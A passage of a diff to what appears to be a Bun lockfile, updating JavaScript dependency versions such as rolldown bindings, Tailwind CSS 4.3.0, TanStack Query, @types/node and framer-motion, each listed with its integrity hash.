- "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-e6usGaHKW5BMNZOymS1UcEYGowQMWcgZ71Z17Sl/h2+ZziNJ1a9n3Zvcz6LdRyIW5572wBCTH/Z+bKuZouGk9Q=="],
+ "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.0.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-1jn6qDU5iiOgFgygDzKUuKP0maTi0/f1+sBLgvij/76C77Nm3ts6ufz9Bjg5q5dduxiUIxtq86JIoBvo1xQ4Ig=="],
- "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.0.0-rc.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-b/CgbwAJpmrRLp02RPfhbudf5tZnN9nsPWK82znefso832etkem8H7FSZwxrOI9djcdTP7U6YfNhbRnh7djErg=="],
+ "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.0.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-QVLO/czFMdoMFSqlX3bcswcJNm/23r+qoa/jgtmFc/qEp6/jXmIkDjF/XIo8dPfGaiwy1xfQn8o77L79GeXFgw=="],
- "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "ppc64" }, "sha512-4EII1iNGRUN5WwGbF/kOh/EIkoDN9HsupgLQoXfY+D1oyJm7/F4t5PYU5n8SWZgG0FEwakyM8pGgwcBYruGTlA=="],
+ "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.0.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-hgO5Abm0w5UL6FEa2iFnZqo2KlK7TQ5QhV5x09hujBf7t5KzHQ1VmfPuTpqRy/rNlSxua3eWH374xxiVrP+lcA=="],
- "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "s390x" }, "sha512-AH8oq3XqQo4IibpVXvPeLDI5pzkpYn0WiZAfT05kFzoJ6tQNzwRdDYQ45M8I/gslbodRZwW8uxLhbSBbkv96rA=="],
+ "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.0.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-fy8rXxuYEu602abC8MUNaPjYLIFzReOaEIEMKMUa0rFEUxNpVXhs15KSSQ4qlqSaM7B6rcj9rDZgADh/IGDzLQ=="],
- "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "x64" }, "sha512-cLnjV3xfo7KslbU41Z7z8BH/E1y5mzUYzAqih1d1MDaIGZRCMqTijqLv76/P7fyHuvUcfGsIpqCdddbxLLK9rA=="],
+ "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.0.2", "", { "os": "linux", "cpu": "x64" }, "sha512-0+bOkiQ779+r1WpoHOWHqncvyySci0vKph+myNDYb+im6meJAzHQXay6oEgnkHuUGouM1LKTZwqKpBow6Kj7CQ=="],
- "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.0.0-rc.17", "", { "os": "linux", "cpu": "x64" }, "sha512-0phclDw1spsL7dUB37sIARuis2tAgomCJXAHZlpt8PXZ4Ba0dRP1e+66lsRqrfhISeN9bEGNjQs+T/Fbd7oYGw=="],
+ "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.0.2", "", { "os": "linux", "cpu": "x64" }, "sha512-mjSkrzZK5Qsl0a9d1JgILOiuZOSDTVdKENcSXBoqbzSrspLR/4/IRVDo5wd2GgZjNss/viBFJdeq+j7qH2nypw=="],
- "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.0.0-rc.17", "", { "os": "none", "cpu": "arm64" }, "sha512-0ag/hEgXOwgw4t8QyQvUCxvEg+V0KBcA6YuOx9g0r02MprutRF5dyljgm3EmR02O292UX7UeS6HzWHAl6KgyhA=="],
+ "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.0.2", "", { "os": "none", "cpu": "arm64" }, "sha512-1v5vHasdfQAZoEHakBV72LIFAC9JjnymsiKxp+GEr/ma3+NJCPSaYK+qavInOovJkgwFrs7GccX2d6IgDA3Z5w=="],
- "@rolldown/binding-wasm32-wasi": ["@rolldown/binding-wasm32-wasi@1.0.0-rc.17", "", { "dependencies": { "@emnapi/core": "1.10.0", "@emnapi/runtime": "1.10.0", "@napi-rs/wasm-runtime": "^1.1.4" }, "cpu": "none" }, "sha512-LEXei6vo0E5wTGwpkJ4KoT3OZJRnglwldt5ziLzOlc6qqb55z4tWNq2A+PFqCJuvWWdP53CVhG1Z9NtToDPJrA=="],
+ "@rolldown/binding-wasm32-wasi": ["@rolldown/binding-wasm32-wasi@1.0.2", "", { "dependencies": { "@emnapi/core": "1.10.0", "@emnapi/runtime": "1.10.0", "@napi-rs/wasm-runtime": "^1.1.4" }, "cpu": "none" }, "sha512-mb1VobWn6NheziTk5/WEaR6AKVbrwT5sOi6C7zk3gy/pD1qtJfU1j4PgTo2NJnOtbL9Dl3Aeei8w9jJ7qC2jZQ=="],
- "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.0.0-rc.17", "", { "os": "win32", "cpu": "arm64" }, "sha512-gUmyzBl3SPMa6hrqFUth9sVfcLBlYsbMzBx5PlexMroZStgzGqlZ26pYG89rBb45Mnia+oil6YAIFeEWGWhoZA=="],
+ "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.0.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-SqKonF56vA/L2yHwHYcEp2P34URpOZ7d1fS635cTkpDnUtEGdUbhI6NzsPdqeSWvAAeGDrxjWjNmibDIdFf9/A=="],
- "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.0.0-rc.17", "", { "os": "win32", "cpu": "x64" }, "sha512-3hkiolcUAvPB9FLb3UZdfjVVNWherN1f/skkGWJP/fgSQhYUZpSIRr0/I8ZK9TkF3F7kxvJAk0+IcKvPHk9qQg=="],
+ "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.0.2", "", { "os": "win32", "cpu": "x64" }, "sha512-v7qRI7gXLRINcOGXt+7YmAZ6iFuyZVMIoXAxhd8oP+DR9dLfL9GfNIx7PLMxmhZdvq8waUJBQiWN9EKNy+TRBQ=="],
- "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.17", "", {}, "sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg=="],
+ "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="],
"@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.53.3", "", { "os": "android", "cpu": "arm" }, "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w=="],
@@ -475,35 +476,35 @@
"@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="],
- "@tailwindcss/node": ["@tailwindcss/node@4.2.4", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.4" } }, "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA=="],
+ "@tailwindcss/node": ["@tailwindcss/node@4.3.0", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.21.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.0" } }, "sha512-aFb4gUhFOgdh9AXo4IzBEOzBkkAxm9VigwDJnMIYv3lcfXCJVesNfbEaBl4BNgVRyid92AmdviqwBUBRKSeY3g=="],
- "@tailwindcss/oxide": ["@tailwindcss/oxide@4.2.4", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.2.4", "@tailwindcss/oxide-darwin-arm64": "4.2.4", "@tailwindcss/oxide-darwin-x64": "4.2.4", "@tailwindcss/oxide-freebsd-x64": "4.2.4", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", "@tailwindcss/oxide-linux-x64-musl": "4.2.4", "@tailwindcss/oxide-wasm32-wasi": "4.2.4", "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" } }, "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q=="],
+ "@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.0", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.0", "@tailwindcss/oxide-darwin-arm64": "4.3.0", "@tailwindcss/oxide-darwin-x64": "4.3.0", "@tailwindcss/oxide-freebsd-x64": "4.3.0", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.0", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.0", "@tailwindcss/oxide-linux-arm64-musl": "4.3.0", "@tailwindcss/oxide-linux-x64-gnu": "4.3.0", "@tailwindcss/oxide-linux-x64-musl": "4.3.0", "@tailwindcss/oxide-wasm32-wasi": "4.3.0", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.0", "@tailwindcss/oxide-win32-x64-msvc": "4.3.0" } }, "sha512-F7HZGBeN9I0/AuuJS5PwcD8xayx5ri5GhjYUDBEVYUkexyA/giwbDNjRVrxSezE3T250OU2K/wp/ltWx3UOefg=="],
- "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.2.4", "", { "os": "android", "cpu": "arm64" }, "sha512-e7MOr1SAn9U8KlZzPi1ZXGZHeC5anY36qjNwmZv9pOJ8E4Q6jmD1vyEHkQFmNOIN7twGPEMXRHmitN4zCMN03g=="],
+ "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.0", "", { "os": "android", "cpu": "arm64" }, "sha512-TJPiq67tKlLuObP6RkwvVGDoxCMBVtDgKkLfa/uyj7/FyxvQwHS+UOnVrXXgbEsfUaMgiVvC4KbJnRr26ho4Ng=="],
- "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-tSC/Kbqpz/5/o/C2sG7QvOxAKqyd10bq+ypZNf+9Fi2TvbVbv1zNpcEptcsU7DPROaSbVgUXmrzKhurFvo5eDg=="],
+ "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-oMN/WZRb+SO37BmUElEgeEWuU8E/HXRkiODxJxLe1UTHVXLrdVSgfaJV7pSlhRGMSOiXLuxTIjfsF3wYvz8cgQ=="],
- "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-yPyUXn3yO/ufR6+Kzv0t4fCg2qNr90jxXc5QqBpjlPNd0NqyDXcmQb/6weunH/MEDXW5dhyEi+agTDiqa3WsGg=="],
+ "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-N6CUmu4a6bKVADfw77p+iw6Yd9Q3OBhe0veaDX+QazfuVYlQsHfDgxBrsjQ/IW+zywL8mTrNd0SdJT/zgtvMdA=="],
- "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.2.4", "", { "os": "freebsd", "cpu": "x64" }, "sha512-BoMIB4vMQtZsXdGLVc2z+P9DbETkiopogfWZKbWwM8b/1Vinbs4YcUwo+kM/KeLkX3Ygrf4/PsRndKaYhS8Eiw=="],
+ "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-zDL5hBkQdH5C6MpqbK3gQAgP80tsMwSI26vjOzjJtNCMUo0lFgOItzHKBIupOZNQxt3ouPH7RPhvNhiTfCe5CQ=="],
- "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-7pIHBLTHYRAlS7V22JNuTh33yLH4VElwKtB3bwchK/UaKUPpQ0lPQiOWcbm4V3WP2I6fNIJ23vABIvoy2izdwA=="],
+ "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.0", "", { "os": "linux", "cpu": "arm" }, "sha512-R06HdNi7A7OEoMsf6d4tjZ71RCWnZQPHj2mnotSFURjNLdBC+cIgXQ7l81CqeoiQftjf6OOblxXMInMgN2VzMA=="],
- "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-+E4wxJ0ZGOzSH325reXTWB48l42i93kQqMvDyz5gqfRzRZ7faNhnmvlV4EPGJU3QJM/3Ab5jhJ5pCRUsKn6OQw=="],
+ "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-qTJHELX8jetjhRQHCLilkVLmybpzNQAtaI/gaoVoidn/ufbNDbAo8KlK2J+yPoc8wQxvDxCmh/5lr8nC1+lTbg=="],
- "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-bBADEGAbo4ASnppIziaQJelekCxdMaxisrk+fB7Thit72IBnALp9K6ffA2G4ruj90G9XRS2VQ6q2bCKbfFV82g=="],
+ "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-Z6sukiQsngnWO+l39X4pPbiWT81IC+PLKF+PHxIlyZbGNb9MODfYlXEVlFvej5BOZInWX01kVyzeLvHsXhfczQ=="],
- "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-7Mx25E4WTfnht0TVRTyC00j3i0M+EeFe7wguMDTlX4mRxafznw0CA8WJkFjWYH5BlgELd1kSjuU2JiPnNZbJDA=="],
+ "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.0", "", { "os": "linux", "cpu": "x64" }, "sha512-DRNdQRpSGzRGfARVuVkxvM8Q12nh19l4BF/G7zGA1oe+9wcC6saFBHTISrpIcKzhiXtSrlSrluCfvMuledoCTQ=="],
- "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-2wwJRF7nyhOR0hhHoChc04xngV3iS+akccHTGtz965FwF0up4b2lOdo6kI1EbDaEXKgvcrFBYcYQQ/rrnWFVfA=="],
+ "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.0", "", { "os": "linux", "cpu": "x64" }, "sha512-Z0IADbDo8bh6I7h2IQMx601AdXBLfFpEdUotft86evd/8ZPflZe9COPO8Q1vw+pfLWIUo9zN/JGZvwuAJqduqg=="],
- "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.2.4", "", { "dependencies": { "@emnapi/core": "^1.8.1", "@emnapi/runtime": "^1.8.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.1", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-FQsqApeor8Fo6gUEklzmaa9994orJZZDBAlQpK2Mq+DslRKFJeD6AjHpBQ0kZFQohVr8o85PPh8eOy86VlSCmw=="],
+ "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.0", "", { "dependencies": { "@emnapi/core": "^1.10.0", "@emnapi/runtime": "^1.10.0", "@emnapi/wasi-threads": "^1.2.1", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-HNZGOUxEmElksYR7S6sC5jTeNGpobAsy9u7Gu0AskJ8/20FR9GqebUyB+HBcU/ax6BHuiuJi+Oda4B+YX6H1yA=="],
- "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.2.4", "", { "os": "win32", "cpu": "arm64" }, "sha512-L9BXqxC4ToVgwMFqj3pmZRqyHEztulpUJzCxUtLjobMCzTPsGt1Fa9enKbOpY2iIyVtaHNeNvAK8ERP/64sqGQ=="],
+ "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Pe+RPVTi1T+qymuuRpcdvwSVZjnll/f7n8gBxMMh3xLTctMDKqpdfGimbMyioqtLhUYZxdJ9wGNhV7MKHvgZsQ=="],
- "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.2.4", "", { "os": "win32", "cpu": "x64" }, "sha512-ESlKG0EpVJQwRjXDDa9rLvhEAh0mhP1sF7sap9dNZT0yyl9SAG6T7gdP09EH0vIv0UNTlo6jPWyujD6559fZvw=="],
+ "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Mvrf2kXW/yeW/OTezZlCGOirXRcUuLIBx/5Y12BaPM7wJoryG6dfS/NJL8aBPqtTEx/Vm4T4vKzFUcKDT+TKUA=="],
- "@tailwindcss/vite": ["@tailwindcss/vite@4.2.4", "", { "dependencies": { "@tailwindcss/node": "4.2.4", "@tailwindcss/oxide": "4.2.4", "tailwindcss": "4.2.4" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-pCvohwOCspk3ZFn6eJzrrX3g4n2JY73H6MmYC87XfGPyTty4YsCjYTMArRZm/zOI8dIt3+EcrLHAFPe5A4bgtw=="],
+ "@tailwindcss/vite": ["@tailwindcss/vite@4.3.0", "", { "dependencies": { "@tailwindcss/node": "4.3.0", "@tailwindcss/oxide": "4.3.0", "tailwindcss": "4.3.0" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-t6J3OrB5Fc0ExuhohouH0fWUGMYL6PTLhW+E7zIk/pdbnJARZDCwjBznFnkh5ynRnIRSI4YjtTH0t6USjJISrw=="],
"@tanstack/devtools": ["@tanstack/devtools@0.10.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="],
@@ -517,11 +518,11 @@
"@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="],
- "@tanstack/query-core": ["@tanstack/query-core@5.100.5", "", {}, "sha512-t20KrhKkf0HXzqQkPbJ5erhFesup68BAbwFgYmTrS7bxMF7O5MdmL8jUkik4thsG7Hg00fblz30h6yF1d5TxGg=="],
+ "@tanstack/query-core": ["@tanstack/query-core@5.100.14", "", {}, "sha512-5X41dGpxgeaHISCRW2oYwcSycZeULZzAunaudXT9ov1KOTj9xwt0CH6hbwqP1/z74ZWF7rYFnDpyYH07XFcZew=="],
"@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.1", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="],
- "@tanstack/react-query": ["@tanstack/react-query@5.100.5", "", { "dependencies": { "@tanstack/query-core": "5.100.5" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-aNwj1mi2v2bQ9IxkyR1grLOUkv3BYWoykHy9KDyLNbjC3tsahbOHJibK+Wjtr1wRhG59/AvJhiJG5OlthaCgJA=="],
+ "@tanstack/react-query": ["@tanstack/react-query@5.100.14", "", { "dependencies": { "@tanstack/query-core": "5.100.14" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-oOr6aRdSFEwWhzxEkD/9ZcItM3+LjBSkeVmadWKwUssAHTsqd/7bOjWrX4AbvEkoEhgAxzN0Xk6H/aYzXiYBAw=="],
"@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="],
@@ -541,13 +542,13 @@
"@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
- "@types/node": ["@types/node@25.6.0", "", { "dependencies": { "undici-types": "~7.19.0" } }, "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ=="],
+ "@types/node": ["@types/node@25.9.1", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-xfrlY7UD5rMJk3ZVJP8BNzS28J36YJg+xp+LPXV1TdWxr8uMH5A860QNxYDGQe/ylDSgjxE52Q9VnO7p75tJxg=="],
"@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
"@types/prismjs": ["@types/prismjs@1.26.5", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="],
- "@types/react": ["@types/react@19.2.14", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w=="],
+ "@types/react": ["@types/react@19.2.15", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-eRwcGNHve+E8qtEQSSRl6urh+rFop4v8gm6O8rGv25CodbvFdLjA1vVQ1KkiFE0w0UPOnb8tDiFKL5lp0rtY5Q=="],
"@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="],
@@ -591,7 +592,7 @@
"balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
- "baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="],
+ "baseline-browser-mapping": ["baseline-browser-mapping@2.10.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-wbPvpyjJPC0zdfdKXxqEL3Ea+bOMD/87X4lftiJkkaBiuG6ALQy1SLmEd7BSmVCuwCQsBrCamgBoLyfFDD1EPg=="],
"boxen": ["boxen@7.0.0", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="],
@@ -719,7 +720,7 @@
"emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="],
- "enhanced-resolve": ["enhanced-resolve@5.20.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="],
+ "enhanced-resolve": ["enhanced-resolve@5.22.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-xYcDWrpELkFzz9SpZ3PlI6Eu6eD93Yf0WLDRxikGhWJ3MAir2SNZTIVCVZqZ/NUyx8AdMc2gT9C0gPiw18kG+A=="],
"entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
@@ -771,15 +772,15 @@
"format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="],
- "framer-motion": ["framer-motion@12.38.0", "", { "dependencies": { "motion-dom": "^12.38.0", "motion-utils": "^12.36.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-rFYkY/pigbcswl1XQSb7q424kSTQ8q6eAC+YUsSKooHQYuLdzdHjrt6uxUC+PRAO++q5IS7+TamgIw1AphxR+g=="],
+ "framer-motion": ["framer-motion@12.40.0", "", { "dependencies": { "motion-dom": "^12.40.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-uaBd3qC1v3KQqBEjwTUd183K6PbS+j0yR9w9VmEOLWA/tnUcSn8Xa3uck7t4dgpDoUss8xQTcj8W2L07lrnLFg=="],
"fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
